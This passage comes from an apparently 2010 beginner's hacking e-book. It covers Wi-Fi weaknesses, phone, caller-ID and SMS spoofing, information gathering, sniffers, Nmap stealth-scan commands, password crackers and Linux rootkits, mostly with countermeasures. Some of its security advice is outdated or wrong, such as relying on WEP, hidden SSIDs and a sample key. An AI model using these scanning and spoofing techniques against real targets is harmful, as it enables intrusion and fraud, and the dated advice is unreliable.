It establishes wireless links between wireless clients and access points in infrastructure networks.

• Re-association:
This action takes place in addition to association when a wireless client moves from one Basic Service Set
(BSS) to another, such as in Roaming.

• Authentication:
This process proves a client’s identity through the use of the 802.11 option, Wired Equivalent Privacy
(WEP). In WEP, a shared key is configured into the access point and its wireless clients. Only those
devices with a valid shared key will be allowed to be associated with the access point.

•Privacy:
In the 802.11 standard, data are transferred in the clear by default. If confidentiality is desired, the WEP
option encrypts data before it is sent wirelessly. The WEP algorithm of the 802.11 Wireless LAN Standard
uses a secret key that is shared between a mobile station (for example, a laptop with a wireless Ethernet
card) and a base station access point to protect the confidentiality of information being transmitted on
the LAN.

Standard Wireless Security Solution
Wireless Security policies are developed or enhanced to accommodate the wireless environment. Primary issues will be
ownership and control of the wireless network, controlling access to the network, physically securing access points,
encrypting, auditing, and the procedures for detecting and handling rogue access points or networks. User security
awareness policies should be implemented.

SSID Solution
Wireless equipment manufacturers use a default Service Set ID (SSID) in order to identify the network to wireless clients.
All access points often broadcast the SSID in order to provide clients with a list of networks to be accessed. Unfortunately,
this serves to let potential intruders identify the network they wish to attack. If the SSID is set to the default manufacturer
setting it often means that the additional configuration settings (such as passwords) are at their defaults as well.
Good security policy is to disable SSID broadcasting entirely. If a network listing is a requirement for network users then
changing the SSID to something other than the default, that does not identify the company or location, is a must. Be sure
to change all other default settings as well to reduce the risk of a successful attack.

www.hackingtech.co.tv

Page 67

Hacking For Beginners – Manthan Desai

2010

MAC address filtering
Some 802.11 access point devices have the ability to restrict access to only those devices that are aware of a specific
identification value, such as a MAC address. Some access point devices also allow for a table of permitted and denied
MAC addresses, which would allow a device administrator to specify the exact remote devices that are authorized to
make use of the wireless service. Client computers are identified by a unique MAC address of its IEEE 802.11 network
card. To secure an access point using MAC address filtering, each access point must have a list of authorized client MAC
address in its access control list.



We can Prevent or Permit machines on the behalf of MAC Addresses.
www.hackingtech.co.tv

Page 68

Hacking For Beginners – Manthan Desai

2010

WEP key encryption
The IEEE 802.11b standard defines an optional encryption scheme called Wired Equivalent Privacy (WEP), which creates a
mechanism for securing wireless LAN data streams. WEP was part of the original IEEE 802.11 wireless standard. These
algorithms enable RC4-based, 40-bit data encryption in an effort to prevent an intruder from accessing the network and
capturing wireless LAN traffic.
WEP’s goal is to provide an equivalent level of security and privacy comparable to a wired Ethernet 802.3 LAN. WEP uses a
symmetric scheme where the same key and algorithm are used for both encryption and decryption of data. WEP is
disabled by default on most wireless network equipment.

Wireless security Overview
Two methods exist for authenticating wireless LAN clients to an access point: Open system or Shared key authentication.
1. Open system does not provide any security mechanisms but is simply a request to make a connection to the network.
2. Shared key authentication has the wireless client hash a string of challenge text with the WEP key to authenticate to
the network.

Wireless Attacks
Broadcast Bubble :
One of the problems with wireless is that the radio waves that connect network devices do not simply stop
once they reach a wall or the boundary of a business. They keep traveling into parking lots and other
businesses in an expanding circle from the broadcast point, creating a ‘bubble’ of transmission radiation.
This introduces the risk that unintended parties can eavesdrop on network traffic from parking areas or any
other place where a laptop can be set up to intercept the signals.

War Driving :
War Driving is finding out the Wireless Networks present around the Wireless Card. common war driving
exploits find many wireless networks with WEP disabled and using only the SSID for access control. This
vulnerability makes these networks susceptible to the parking lot attack, where an attacker has the ability to
gain access to the target network a safe distance from the building’s perimeter.
www.hackingtech.co.tv

Page 69

Hacking For Beginners – Manthan Desai

2010

WAR Driving is of two types:
1. Active War Driving
2. Passive War Driving

Active War Driving :
Active War Driving is detecting the Wireless Networks whose SSIDs are broadcasted or the Wireless
Networks which are shown to all the Wireless Adapters. It can be done through any Wireless Card.

Passive War Driving :
Passive War Driving is detecting the Wireless Networks whose SSIDs are not Broadcasted or the Hidden
Wireless Networks. The Wireless card should support the Monitor Mode for the Passive War Driving.

MAC spoofing
Even if WEP is enabled, MAC addresses can be easily sniffed by an attacker as they appear in the clear format, making
spoofing the MAC address also fairly easy.
MAC addresses are easily sniffed by an attacker since they must appear in the clear even when WEP is enabled. An
attacker can use those “advantages” in order to masquerade as a valid MAC address, by programming the wireless card or
using a spoofing utility, and get into the wireless network.

WEP cracking
• Wired Equivalent Privacy (WEP) was the first security option for 802.11 WLANs. WEP is used to encrypt data on the
WLAN and can optionally be paired with shared key authentication to authenticate WLAN clients. WEP uses an RC4 64-bit
or 128-bit encryption key.
• WEP was fairly quickly found to be crack able. WEP is vulnerable because of relatively short and weak encryption. The
security of the WEP algorithm can be compromised.

www.hackingtech.co.tv

Page 70

Hacking For Beginners – Manthan Desai

2010

Countermeasures for Wireless attacks
Hide the Wireless Network:
Do not broadcast the SSID of the Wireless Network. This will help you in protecting your
Wireless being invisible to the people who do not know about Passive War Driving

Use a Secured Key :
You can use the WEP Key protection on your Wireless Network to protect your Wireless
Network Connection.
Although this is not the ultimate security measure but will help you a lot against the Script
Kiddies who do not know how to break into the WEP Protection.

WPA: Wi-Fi Protected Access
•WPA employs the Temporal Key Integrity Protocol (TKIP)—which is a safer RC4 implementation—for data encryption
and either WPA Personal or WPA Enterprise for authentication.
•WPA Enterprise is a more secure robust security option but relies on the creation and more complex setup of a RADIUS
server. TKIP rotates the data encryption key to prevent the vulnerabilities of WEP and, consequently, cracking attacks.

Mac Filtering
An early security solution in WLAN technology used MAC address filters: A network administrator entered a list of valid
MAC addresses for the systems allowed to associate with the Wireless Access Point.

Choosing the Best Key
Always use a long WPA Key with lower as well as upper case letters including numbers and special characters.
Sample Key: 12345@abcde&FGHI

www.hackingtech.co.tv

Page 71

Hacking For Beginners – Manthan Desai

2010

7. Mobile hacking – SMS & Call forging

It was bound to happen - they have hacked just about everything else. Now it's the cell phones. Cellphone hacking has
just recently surfaced and been made public ever since some one did some cellular phone hacking on Paris Hilton's cell
phone.
This article will give you some information about what is going on out there and what you can do to better protect your
cell phone information.

What Does It Involve
The fact of someone hacking cell phone became public knowledge when Paris Hilton's cell phone, along with her
information was recently hacked. Unfortunately for her, all her celebrity friends and their phone numbers were also
placed on the Internet - resulting in a barrage of calls to each of them.
Cell phone hackers have apparently found a glitch in the way the chips are manufactured. The good news, though, is that
it only applies to the first generation models of cell phones that use the Global System for Mobile communications (GSM).
Another requirement is that the hacker must have physical access to the cell phone for at least three minutes - which is a
real good reason not to let it out of your sight. Currently, although the problem has been remedied (at least for now) in
the second and third generation phones, it seems that about 70% of existing cell phones fall within the first generation
category.
Another way that mobile phone hacking can take place is for a hacker to walk around an area with people that have cell
phones and a laptop that has cellphone hacker programs on it. Through an antenna, and a little patience, his computer
can literally pick up your cell phone data - if it is turned on. This is more applicable to cell phones that use Bluetooth
technology.

What Can A Hacker Do?
Surprisingly, there are quite a number of things that can be accomplished by the hacker. Depending on their intent here
are a few of them.


Steal Your Number
Your phone number can be accessed and obtained by cellphone hacking. This allows them to make calls and have
it charged to your account.



Take Your Information
Mobile hacking allows a hacker to contact your cell phone, without your knowledge, and to download your
addresses and other information you might have on your phone. Many hackers are not content to only get your
information. Some will even change all your phone numbers! Be sure to keep a backup of your information
somewhere. This particular technique is called Bluesnarfing.
www.hackingtech.co.tv

Page 72

Hacking For Beginners – Manthan Desai

2010

Be Prepared for Cell Phone Hacks


Rob Your Money
Other options might use a particular buying feature called SMS. This refers to the fact that money can be taken
from your account and transferred into another and a good hacker can sit in one place and access a lot of phones
and transfer a lot of money rather quickly - probably in less time than you think!



Give The System A Virus
By using another cell phone hack code, a hacker could kidnap your phone, send it a camouflaged program or send
it a virus. But it does not end there, since, from that point, he can use your phone to retransmit the virus to many
other phones almost instantly - potentially disabling the system.



Spy On You
A hacker can also gain access and take over for cell phone spying and remote mobile phone hacking. Literally,
once secured, the hacker can have the phone call him, and then be able to listen to all conversations going on
around the owner of the phone.



Access Your Voice Mails
Voice mails can also be retrieved by a hacker through a hacking cell phone. After stealing your number, this can
easily be done - if your password is disabled. The main thing that needs to be understood here, is that the
electronics that give you the modern convenience of interacting with the Internet (getting your voice mails,
emails, Web surfing, etc.) , is also the same technology that allows you to receive the same ills as can befall
someone on the Internet.

What Can You Do?
It seems that the major cell phone companies, at least at this point, really are not interested in bringing the system up to
be able to cope with this threat. Meetings are starting to take place, but for now it is not perceived to be real serious. This
could be because it is primarily the older phones that are most susceptible to some types of this mobile hacking.
Until the cell phone manufacturers are able to cope with, or eliminate, the glitches in the system that allows them to
overcome these problems, you will largely have to help yourself to cope with these things. Here are a couple of tips that
will help you protect your cell phone, its information, and other things.


Use Your Passwords
The cell phone companies tell us that many people have turned off their passwords when they access their voice
mail messages, or other things. This little feature, though it may seem to be an annoyance to some, could protect
your phone from unauthorized purposes.



Leave The Phone Off
This one is obviously the harder choice, here, simply because most of us who have cell phones like to be reached
anytime and anywhere. Others do need to be reachable at all times.



Upgrade Your Phone
While this cannot guarantee that your phone is not hackable, it certainly will help. It should be remembered that
the phone companies work hard to deliver the best technology and conveniences - but the cell phone hacks work
just as hard to be the first to break the systems designed to defeat them. It is an ongoing battle.
Cellular phone hacking, for now, is a fact of life that affects a few of us. Gladly, the numbers are still small, but
many feel this problem is just getting started. By being aware of the problems, you can wisely take steps to
prevent them from happening to you. Cellphone hacking does not need to catch you unprepared.

www.hackingtech.co.tv

Page 73

Hacking For Beginners – Manthan Desai

2010

Call Spoofing / Forging

• Call forging is method to spoof caller id number displayed on the mobile phone/landline.
• It relies on VoIP (Voice over Internet Protocol)
• VoIP is emerging & exciting innovation as far as Information & communication technology is concerned.
• Can be considered as GEN Next Cyber Crime.

About Caller Id Forging/Spoofing
Caller ID Forging the practice of causing the telephone network to display a number on the recipient's caller ID display
which is not that of the actual originating station; the term is commonly used to describe situations in which the
motivation is considered nefarious by the speaker. Just as e-mail spoofing can make it appear that a message came from
any e-mail address the sender chooses, caller ID forging can make a call appear to have come from any phone number the
caller wishes. Because people are prone to assume a call is coming from the number (and hence, the associated person,
or persons), this can call the service's value into question.

Basics of Call Forging
Firstly the voip is used to call via internet PC to a telephone.
In the Voip there is a loop hole which allow a intruder to spoof a call.
There are many website on the net which provide the facility of the internet calling.
This website work as follows,first the call the source phone no then the destiation number and then bridge them
togather.
Here there is no authentication done by the website and server are normally located in US and so tracing of the
intruder is not possible.
Thus the intruder logs on to this server and gives a wrong source number and then place a call over internet
which is actually a spoofed call which shows wrong identity.
Also there a no laws regarding the call spoofing in India and so a intruder if gets traced is easily backed by the
loophole of no laws for it.
thus if you get calls from other numbers dont trust it they may be spoofed calls.

www.hackingtech.co.tv

Page 74

Hacking For Beginners – Manthan Desai

2010

SMS Forging
• SMS is one of the most popular means of communications.
• SMS Forging is the method to spoof sender id of SMS.
• One can send SMS to international Number from any number of sender’s choice.
• Facility to choose sender id upto 11 characters/name.

SMS ROUTING IN GSM-

First of all the sender send the SMS via SMS gateway. The identity of the sender is attached to the SCCP packer of the
SMS. The SMS once reach the SMS gateway is routed to the destination Gateway and then to the receiver’s handset.
There are many ways by which we can send SMS to the SMS gateway.
One of them is to use internet.
Now the concept of SMS forging lies in changing the SCCP packer which contains the sender information prior delivering
to the SMS gateway.
The intruder can change the SCCP packet and can send that packet to any of the receiver as a spoofed SMS.
Some of the Website on the net also provide this facility.
0791 7283010010F5 040BC87238880900F1
0000993092516195800AE8329BFD4697D9.
07- Length of the SMSC information (in this case 7 octets)
91 - Type-of-address of the SMSC. (91 means international format of the phone number)
72 83 01 00 10 F5 - Service center number(in decimal semi-octets). The length of the phone number is odd (11), so a
trailing F has been added to form proper octets. The phone number of this service center is "+27381000015".
04- First octet of this SMS-DELIVER message
www.hackingtech.co.tv

Page 75

Hacking For Beginners – Manthan Desai

2010

0B-Address-Length. Length of the sender number (0B hex = 11 dec)
C8-Type-of-address of the sender number
72 38 88 09 00 F1- Sender number (decimal semi-octets), with a trailing F.
• When SMS is sent using an application, it is routed through international gateways.
• Spoofing of Message Id(SDCCH/SCCP Info) take place at International gateway.
• Finally SMS is routed to destination SMS Center number.
• As there is no authentication system, it is sent to destination number with spoof ID.

Bluesnarfing

Bluesnarfing is the theft of information from a wireless device through a Bluetooth connection, often between phones,
desktops, laptops, and PDAs. This allows access to a calendar, contact list, emails and text messages. Bluesnarfing is much
more serious in relation to Bluejacking, although both exploit others’ Bluetooth connections without their knowledge.
Any device with its Bluetooth connection turned on and set to “discoverable” (able to be found by other Bluetooth
devices in range) can be attacked. By turning off this feature you can be protected from the possibility of being
Bluesnarfed. Since it is an invasion of privacy, Bluesnarfing is illegal in many countries.
There are people who have predicted the doom of bluetooth tooth attacks like bluesnarfing. Their reasoning is that WiFi
will eventually replace the need for bluetooth devices and without bluetooth, it make sense there will be no bluetooth
attacks.
While convincing and logical, bluetooth have yet to be phased out long after WiFi is in use. In face, there are more and
more devices using bluetooth technology. The main reason: It's free. Unlike wifi which is a overall network and you are
just a "user" in the network, you "own the network". You can switch in on and off anytime you like, and you don't have to
pay a cent. There is no logic for example to use wifi for connecting with your headset, but bluetooth fits that function
perfectly.
In fact, this neglect on the importance of bluetooth has led to an added advantage to bluesnarfers. Because every is
concern about their wifi security, they neglect the fact that their short ranged network which is their bluetooth can easier
be hacked into for someone who is nearby or even far away but with the right equipment.
The reason why there is little news about bluesnarfing is that there is no good solution to the problem at the moment,
save for switching off your bluetooth device.
So my advice is, be careful if you keep confidential information on your bluetooth devices.

www.hackingtech.co.tv

Page 76

Hacking For Beginners – Manthan Desai

2010

We will learn about call forging and sms forging in the later part of the book.

www.hackingtech.co.tv

Page 77

Hacking For Beginners – Manthan Desai

2010

8. Information gathering and Scanning
Why Information gathering?
• Information Gathering can reveal online footprints of criminal.
• Information Gathering can help investigator to profile criminals

Information gathering of websites
We need to gather the following information about the website :
• Whois Information
• Owner of website.
• Email id used to register domain.
• Domain registrar.
• Domain name server information.
• Releted websites.
We can use website www.domaintools.com for this puropse.

Whois
Whois is query to database to get following information.
1.Owner of website.
2.Email id used to register domain.
3.Domain registrar.
4. Domain name server information.
5. Releted websites.

Reverse IP mapping
• Reverse IP will give number of websites hosted on same server.
• If one website is vulnerable on the server then hacker can easily root the server.
• Domainbyip.com

www.hackingtech.co.tv

Page 78

Hacking For Beginners – Manthan Desai

2010

• Trace Route

Information Gathering Using Search Engine
• Search engines are efficient mediums to get specific results according to your requirements.
• Google & yahoo search engine gives best results out of all.
• But Specifically using www.kartoo.com will give us good information about the search.

• This type of search engines retrieves results from different search engine & make relation or connections between
those results.
www.hackingtech.co.tv

Page 79

Hacking For Beginners – Manthan Desai

2010

• Maltego is an open source intelligence and forensics application.
• It allows for the mining and gathering of information as well as the representation of this information in a meaningful
way.
• Coupled with its graphing libraries, Maltego, allows you to identify key relationships between information and identify
previously unknown relationships between them.

• Almost 80% internet users use blogs/forums for knowledge sharing purpose.
• Information gathering from specific blog will also helpful in investigations.
• Information gathering from Social Networking websites can also reveal personal info about suspect.
• Many websites stored email id lists for newsletters. These email ids can also be retrieved using email spiders.

www.hackingtech.co.tv

Page 80

Hacking For Beginners – Manthan Desai

2010

Detecting ‘live’ systems on target network
Why Detecting ‘live’ systems on tagret network ?




To determine the perimeter of the target network /system
To facilitate network mapping
To build an inventory of accessible systems on target network

Tools used for this



War Dialers
Ping Utilities

War Dialers





A war dialer is a tool used to scan a large pool of telephone numbers to detect vulnerable modems to provide
access to the system.
A demon dialer is a tool used to monitor a specific phone number and target its modem to gain access to the
system.
Threat is high in systems with poorly configured remote access products providing entry to larger networks.
Tools include THC-Scan, ToneLoc, TBA etc.

The term war dialing implies the exploitation of an organization's telephone, dial, and private branch exchange (PBX)
systems to infiltrate the internal network and use of computing resources during the actual attack. It may be surprising
why we are discussing war dialing here as more PBX systems are coming with increased security configurations. However,
the fact remains that there are as many insecure modems out there that can be compromised to gain access into the
target system. What had initially caught the fancy of hackers in the movie 'war games', still manages to find carriers
leading to compromise of systems. The war dialer in War Games is not very sophisticated as it only finds phone numbers
which are suspected to be computer dial-in lines. A more aggressive version might actually attempt to determine the
operating system, and a very aggressive version might attempt to perform some automated break -in attempts itself. If A
real scanner with this functionality will attempt to analyze the carrier information, the negotiation and presence of
protocols and/or banners to attempt to determine the remote system. It will then attempt to use default
username/password combinations for that system.

www.hackingtech.co.tv

Page 81

Hacking For Beginners – Manthan Desai

2010

9. Sniffers

Sniffers are almost as old as the Internet itself. They are one of the first tools that allowed system administrators to
analyze their network and pinpoint where a problem is occurring. Unfortunately, crackers also run sniffers to spy on your
network and steal various kinds of data. This paper discusses what a sniffer is, some of the more popular sniffers, and
ways to protect your network against them. It also talks about a popular tool called Antisniff, which allows you to
automatically detect sniffers running on your network.

What are Sniffers ?
In a non-switched network, Ethernet frames broadcast to all machines on the network, but only the computer that the
packets are destined for will respond. All of the other machines on that network still see the packet, but if they are not
the intended receiver, they will disregard it. When a computer is running sniffer software and it’s network interface is in
promiscuous mode (where it listens for ALL traffic), then the computer has the ability to view all of the packets crossing
the network.
If you are an Internet history buff and have been wondering where the term sniffer came from. Sniffer was a product that
was originally sold by Network General. It became the market leader and people starting referring to all network
analyzers as “sniffers.” I guess these are the same people who gave the name Q-Tip to cotton swabs.

www.hackingtech.co.tv

Page 82

Hacking For Beginners – Manthan Desai

2010

Who uses Sniffers ?
LAN/WAN administrators use sniffers to analyze network traffic and help determine where a problem is on the network. A
security administrator could use multiple sniffers, strategically placed throughout their network, as an intrusion detection
system. Sniffers are great for system administrators, but they are also one of the most common tools a hacker uses.
Crackers install sniffers to obtain usernames, passwords, credit card numbers, personal information, and other
information that could be damaging to you and your company if it turned up in the wrong hands. When they obtain this
information, crackers will use the passwords to attack other Internet sites and they can even turn a profit from selling
credit card numbers.

Defeating Sniffers
One of the most obvious ways of protecting your network against sniffers is not to let them get broken into in the first
place. If a cracker cannot gain access to your system, then there is no way for them to install a sniffer onto it. In a perfect
world, we would be able to stop here. But since there are an unprecedented number of security holes found each month
and most companies don’t have enough staff to fix these holes, then crackers are going to exploit vulnerabilities and
install sniffers. Since crackers favor a central location where the majority of network traffic passes (i.e. Firewalls, proxies),
then these are going to be their prime targets and should be watched closely. Some other possible “victims” where
crackers like to install sniffers are next to servers where personal information can be seen (i.e. Webservers, SMTP
servers).
A good way to protect your network against sniffers is to segment it as much as possible using Ethernet switches instead
of regular hubs. Switches have the ability to segment your network traffic and prevent every system on the network from
being able to “see” all packets. The drawback to this solution is cost. Switches are two to three times more expensive then
hubs, but the trade-off is definitely worth it. Another option, which you can combine with a switched environment, is to
use encryption. The sniffer still sees the traffic, but it is displayed as garbled data. Some drawbacks of using encryption
are the speed and the chance of you using a weak encryption standard that can be easily broken. Almost all encryption
will introduce delay into your network. Typically, the stronger the encryption, the slower the machines using it will
communicate. System administrators and users have to compromise somewhere in the middle. Even though most system
administrators would like to use the best encryption on the market, it is just not practical in a world where security is seen
as a profit taker, not a profit maker. Hopefully the new encryption standard that should be out shortly, AES (Advanced
Encryption Standard), will provide strong enough encryption and transparency to the user to make everybody happy.
Some form of encryption is better then no encryption at all. If a cracker is running a sniffer on your network and notices
that all of the data that he (or she) is collecting is garbled, then most likely they will move on to another site that does not
use encryption. But a paid or determined hacker is going to be able to break a weak encryption standard, so it is better to
play it smart and provide the strongest encryption as long as it will not have everybody giving you dirty looks when you
walk down the halls at work.

AntiSniff
In 1999, our buddies at L0pht Heavy Industries released a product called Antisniff. This product attempts to scan your
network and determine if a computer is running in promiscuous mode. This is a helpful tool because if a sniffer is
detected on your network, then 9 times out of 10, the system has been compromised. This happened to the Computer
Science Department at California State University – Stanislaus. Here is what they posted on their local website: “A sniffer
program has been found running on the Computer Science network. Sniffer programs are used to capture passwords. In
order to protect yourself please change your password. Do not use a word out of a dictionary, put a number on the end of
www.hackingtech.co.tv

Page 83

Hacking For Beginners – Manthan Desai

2010

a word or use proper names. Be inventive, use special characters and have 8 characters in your password.” I am sure
there are hundreds of similar postings on internal websites throughout the world that don’t make it public as they have.
Antisniff also helps you find those system administrators who run a sniffer to find out what is wrong with their local
network, but forget to ask for authorization beforehand. If you need to run a sniffer, then you should get permission in
writing. If your Security Administrator is running Antisniff, then there is a good chance they will find it and you will have to
explain why you are running a sniffer without authorization. Hopefully your security policy has a section on sniffers and
will provide some guidance if you need to run a sniffer.
At the time of this writing, Antisniff version 1.021 is the current release. There is a nice GUI available for Windows
95/98/and NT machines. A command line version is also available for Solaris, OpenBSD, and Linux. This version of Antisniff
only works in a “flat non-switched” environment. If your network is designed with routers and switches, then Antisniff
does not have the same functionality as in a non-switched environment. You can only use it on local networks that do not
cross a router or switch. According to Lopht’s website, the next major release of Antisniff will have the ability to figure out
if a computer is running in promiscuous mode over routers and switches. The next release of Antisniff should definitely be
more beneficial to system administrators because the price of switches are coming down and most companies are
upgrading to switches to obtain 100/Full Mbps speeds. Even though you have a totally switched environment, you are still
not out of the water. There are still firewalls, proxies, webservers, ftp servers, etc. where crackers still have the ability to
install a sniffer and capture data locally. The only difference is, you have taken away their ability to capture data over the
network.
Antisniff can also be used by blackhats to find intrusion detection systems. If they know where your intrusion detection
systems are, then they can become stealth attackers, causing you much pain because you just spend $150,000 on a new
intrusion detection system and they found a way to bypass it.

www.hackingtech.co.tv

Page 84

Hacking For Beginners – Manthan Desai

2010

10. Linux Hacking

Linux is fast emerging as an affordable yet available operating system. As the popularity is growing so is the attention of
players with malicious intent to break in to the systems.

Why Linux ?







Majority of servers around the globe are running on Linux / Unix-like platforms
Easy to get and Easy on pocket
There are many types of Linux -Distributions /Distros / Flavors such as Red Hat, Mandrake, Yellow Dog, Debian
etc.
Source code is available
Easy to modify.
Easy to develop a program on Linux.

Linux is an operating system that can be downloaded free and "belongs" to an entire community of developers, not one
corporate entity. With more and more people looking for an alternative to Windows, Linux has recently grown in
popularity and is quickly becoming a favorite among major corporations and curious desktop users. Not only does it give
users a choice of operating systems, it also proves itself valuable with its power, flexibility, and reliability.
Linux supports most of the major protocols, and quite a few of the minor ones. Support for Internet, Novell, Windows,
and Appletalk networking have been part of the Linux kernel for some time now. With support for Simple Network
Management Protocol and other services (such as Domain Name Service), Linux is also well suited to serving large
networks. Since Linux was developed by a team of programmers over the Internet, its networking features were given
high priority. Linux is capable of acting as client and/or server to any of the popular operating systems in use today, and is
quite capable of being used to run Internet Service Providers.
Linux is an implementation of the UNIX design philosophy, which means that it is a multi-user system. This has numerous
advantages, even for a system where only one or two people will be using it. Security, which is necessary for protection of
sensitive information, is built into Linux at selectable levels. More importantly, the system is designed to multi-task.
Whether one user is running several programs or several users are running one program, Linux is capable of managing the
traffic.
Another huge advantage of an open system is a large number of software authors and beta testers. This makes the
software testing and refinement process faster and better. Because there is not a lot of commercial software for Linux,
most software written for Linux is written because the authors want to do it and there need be no compromise of quality.
Linux is "Free" in two senses. In one sense, the Linux consumer is free to modify the system and do anything he or she
wishes with it. In another sense, acquiring Linux does not necessarily require any cash outlay at all.

www.hackingtech.co.tv

Page 85

Hacking For Beginners – Manthan Desai

2010

There are two very popular methods for acquiring and distributing Linux: FTP and CD-ROM. Most of the major Linux
distributions (Red Hat, Debian, Slackware, Caldera) are available for free download from several popular sites. Though
time consuming, it does not cost anything beyond connection charges.
Linux is one of the more stable operating systems available today. This is due in large part to the fact that Linux was
written by programmers who were writing for other programmers and not for the corporate system. There are currently
two mature program packaging standards in the Linux world - SuSE and Mandrake. Debian and Red Hat each have their
own packaging systems; both will check dependencies, both can upgrade an entire running system without a reboot. This
makes it easy to upgrade parts or all of a system, as well as add new software, or remove unwanted software.

Scanning Networks





Once the IP address of a target system is known, an attacker can begin the process of port scanning, looking for
holes in the system through which the attacker can gain access.
A typical system has 2^16 -1 port numbers and one TCP port and one UDP port for each number.
Each one of these ports are a potential way into the system.
The most popular Scanning tool for Linux is Nmap.

Scanning helps one to know what services are running on a machine. This will show the open ports on which services are
listening for connections. Once the targets are identified, an intruder is able to scan for listening ports.
Port scanning is the process of connecting to TCP and UDP ports on the target system to determine what services are
running or in a listening state. Identifying listening ports is essential to determine the type of operating system and
application in use on the system.

Types of port scanning:
1. TCP connect scan: This type of scan connects to the target port and completes a full three-way handshake (SYN,
SYN/ACK and ACK).
2. TCP SYN scan: This is also called half-open scanning because it does not complete the three-way handshake,
rather a SYN packet is sent and upon receiving a SYN/ACK packet it is determined that the target machines port is
in a listening state and if an RST/ACK packet is received , it indicates that the port is not listening.
3. TCP FIN scan: This technique sends a FIN packet to the target port and based on RFC 793 the target system should
send back an RST for all closed ports.
4. TCP Xmas Tree scan: This technique sends a FIN, URG and PUSH packet to the target port and based on RFC 793
the target system should send back an RST for all closed ports.
5. TCP Null scan: This technique turns off all flags and based on RFC 793, the target system should send back an RST
for all closed ports.
6. TCP ACK scan: This technique is used to map out firewall rule sets. It can help determine if the firewall is a simple
packet filter allowing only established connections or a stateful firewall performing advance packet filtering.
7. TCP Windows scan: This type of scan can detect both filtered and non-filtered ports on some systems due to
anomaly in the way TCP windows size is reported.
8. TCP RPC scan: This technique is specific to UNIX systems and is used to detect and identify Remote Procedure Call
(RPC) ports and their associated program and version number.
9. UDP scan: This technique sends a UDP packet to the target port. If the target ports responds with an "ICMP port
unreachable" message, the port is closed, if not then the port is open. This is a slow process since UDP is a
connectionless protocol; the accuracy of this technique is dependent on many factors related to utilization of
network and system resources.

www.hackingtech.co.tv

Page 86

Hacking For Beginners – Manthan Desai

2010

Hacking tool Nmap
http://www.insecure.org/nmap









Stealth Scan, TCP SYN
nmap -v -sS 192.168.0.0/24
UDP Scan
nmap -v -sU 192.168.0.0/24
Stealth Scan, No Ping
nmap -v -sS -P0 192.168.0.0/24
Fingerprint
nmap -v -0 192.168.0.0/24 #TCP

Nmap is covered under the GNU General Public License (GPL) and can be downloaded free of charge from
http://www.insecure.org/nmap. It comes as tarred source as well as RPM format. The usage syntax of Nmap is fairly
simple. Options to nmap on the command-line are different types of scans that are specified with the -s flag. A ping scan,
for example, is "-sP". Options are then specified, followed by the hosts or networks to be targeted. Nmap's functionality is
greatly increased when run as root.
Nmap is flexible in specifying targets. The user can scan one host or scan entire networks by pointing Nmap to the
network address with a "/mask" appended to it. Targeting "victim/24" will target the Class C network, whereas
"victim/16" will target the Class B. Nmap also allows the user to specify networks with wild cards, as in 192.168.7.*, which
is the same as 192.168.7.0/24, or 192.168.7.1,4,5-16 to scan the selected hosts on that subnet.
Users are able to sweep entire networks looking for targets with Nmap. This is usually done with a ping scan by using the
"-sP" flag. A TCP "ping" will send an ACK to each machine on a target network. Machines that are alive on the network will
respond with a TCP RST. To use the TCP "ping" option with a ping scan, the "-PT" flag is included to specific port on the
target network.
Nmap has been covered in detail in module three and readers are advised to refer to that to learn more about the OS
fingerprinting and other scan options.

Password cracking in Linux


Xcrack
(http://packetstorm.linuxsecurity.com/Crackers/)





Xcrack doesn't do much with rules.
It will find any passwords that match words in the dictionary file the user provides, but it won't apply any
combinations or modifications of those words.
It is a comparatively fast tool.

Xcrack (http://packetstorm.linuxsecurity.com/Crackers/)
Xcrack is a simple dictionary based password cracking tool. It will find any passwords that match words in the dictionary
file the user provide. It does not generate permutation combination of the words provided in the dictionary to arrive at
the right password. For this reason, it is a comparatively faster tool, though efficacy might be less.

www.hackingtech.co.tv

Page 87

Hacking For Beginners – Manthan Desai

2010

SARA (Security Auditor’s Research Assistant)
http://www-arc.com/sara





The Security Auditor's Research Assistant (SARA) is a third generation Unix-based security analysis tool that
supports the FBI Top 20 Consensus on Security.
SARA operates on most Unix-type platforms including Linux & Mac OS X
SARA is the upgrade of SATAN tool.
Getting SARA up and running is a straight forward compilation process, and the rest is done via a browser.

SARA (Security Auditor's Research Assistant), a derivative of the Security Administrator Tool for Analyzing Networks
(SATAN), remotely probes systems via the network and stores its findings in a database. The results can be viewed with
any Level 2 HTML browser that supports the http protocol.
When no primary_target(s) are specified on the command line, SARA starts up in interactive mode and takes commands
from the HTML user interface.
When primary_target(s) are specified on the command line, SARA collects data from the named hosts, and, possibly, from
hosts that it discovers while probing a primary host. A primary target can be a host name, a host address, or a network
number. In the latter case, SARA collects data from each host in the named network.
SARA can generate reports of hosts by type, service, and vulnerability by trust relationship. In addition, it offers tutorials
that explain the nature of vulnerabilities and how they can be eliminated.
By default, the behavior of SARA is controlled by a configuration file (config/sara.cf). The defaults can be overruled via
command-line options or via buttons etc. in the HTML user interface.

Linux Rootkits





One way an intruder can maintain access to a compromised system is by installing a rootkit.
A rootkit contains a set of tools and replacement executables for many of the operating system's critical
components, used to hide evidence of the attacker's presence and to give the attacker backdoor access to the
system.
Rootkits require root access to to install, but once set up, the attacker can get root access back at any time.

Conventionally, UNIX and Linux have been known to have rootkits built, as the intruder is aware of the code. Here we will
focus on rootkits that use the LKM or Loadable Kernel Module.
A brief review: Rootkits appeared in the early 90's, and one of the first advisories came out in Feb 1994. This advisory
from CERT-CC addressed "Ongoing Network Monitoring Attacks" CA-1994-01 revised on September 19, 1997. Rootkits
have increased in popularity since then and are getting increasingly difficult to detect. The most common rootkits are
used for SunOS and Linux operating systems. Rootkits contain several different programs. A typical rootkit will include an
Ethernet Sniffer, which is designed to sniff out passwords. Rootkits can also include Trojan programs used as backdoors
such as inetd or login. Support programs such as ps, netstat, rshd, and ls to hide the attacker directories or processes.
Finally, log cleaners, such as zap, zap2, or z2, are used to remove login entries from the wtmp, utmp, and lastlog files.
Some rootkits also enable services such as telnet, shell, and finger. The rootkit may also include scripts that will clean up
other files in the /var/log and var/adm directories. Using the modified programs of ls, ps, and df installed on the box, the
intruder can "hide" his/her files and programs from the legitimate system administrator.
The intruder next uses programs within the rootkit to clean up the extensive log files generated from the initial
vulnerability exploitation. The intruder then uses the installed backdoor program for future access to the compromised
system in order to retrieve sniffer logs or launch another attack. If a rootkit is properly installed and the log-files are
www.hackingtech.co.tv

Page 88

Hacking For Beginners – Manthan Desai

2010

cleaned correctly, a normal system administrator is unaware that the intrusion has even occurred until another site
contacts him or the disks fill because of the sniffer logs.
The most severe threat to system security that can be caused by a rootkit comes from those that deploy LKM (Loadable
